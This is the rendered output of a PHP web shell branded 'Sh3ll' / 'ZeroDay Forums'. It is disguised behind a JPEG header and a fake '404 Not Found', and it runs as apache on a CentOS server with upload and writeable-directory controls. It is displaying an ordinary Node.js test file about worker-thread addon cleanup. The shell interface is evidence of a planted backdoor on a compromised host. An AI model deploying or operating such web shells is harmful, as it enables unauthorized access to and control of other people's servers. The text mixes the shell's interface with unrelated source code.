����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/test/addons/worker-addon/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/test/addons/worker-addon/test.js
// Flags: --experimental-report
'use strict';
const common = require('../../common');
const assert = require('assert');
const child_process = require('child_process');
const path = require('path');
const { Worker } = require('worker_threads');
const binding = path.resolve(__dirname, `./build/${common.buildType}/binding`);

switch (process.argv[2]) {
  case 'both':
    require(binding);
    // fallthrough
  case 'worker-twice':
  case 'worker':
    const worker = new Worker(`require(${JSON.stringify(binding)});`, {
      eval: true
    });
    if (process.argv[2] === 'worker-twice') {
      worker.on('exit', common.mustCall(() => {
        new Worker(`require(${JSON.stringify(binding)});`, {
          eval: true
        });
      }));
    }
    return;
  case 'main-thread':
    process.env.addExtraItemToEventLoop = 'yes';
    require(binding);
    return;
}

// Use process.report to figure out if we might be running under musl libc.
const glibc = process.report.getReport().header.glibcVersionRuntime;
assert(typeof glibc === 'string' || glibc === undefined, glibc);

const libcMayBeMusl = common.isLinux && glibc === undefined;

for (const { test, expected } of [
  { test: 'worker', expected: [ 'ctor cleanup dtor ' ] },
  { test: 'main-thread', expected: [ 'ctor cleanup dtor ' ] },
  // We always only have 1 instance of the shared object in memory, so
  // 1 ctor and 1 dtor call. If we attach the module to 2 Environments,
  // we expect 2 cleanup calls, otherwise one.
  { test: 'both', expected: [ 'ctor cleanup cleanup dtor ' ] },
  {
    test: 'worker-twice',
    // In this case, we load and unload an addon, then load and unload again.
    // musl doesn't support unloading, so the output may be missing
    // a dtor + ctor pair.
    expected: [
      'ctor cleanup dtor ctor cleanup dtor '
    ].concat(libcMayBeMusl ? [
      'ctor cleanup cleanup dtor ',
    ] : [])
  },
]) {
  console.log('spawning test', test);
  const proc = child_process.spawnSync(process.execPath, [
    __filename,
    test
  ]);
  process.stderr.write(proc.stderr.toString());
  assert.strictEqual(proc.stderr.toString(), '');
  assert(expected.includes(proc.stdout.toString()),
         `${proc.stdout.toString()} is not included in ${expected}`);
  assert.strictEqual(proc.status, 0);
}

ZeroDay Forums Mini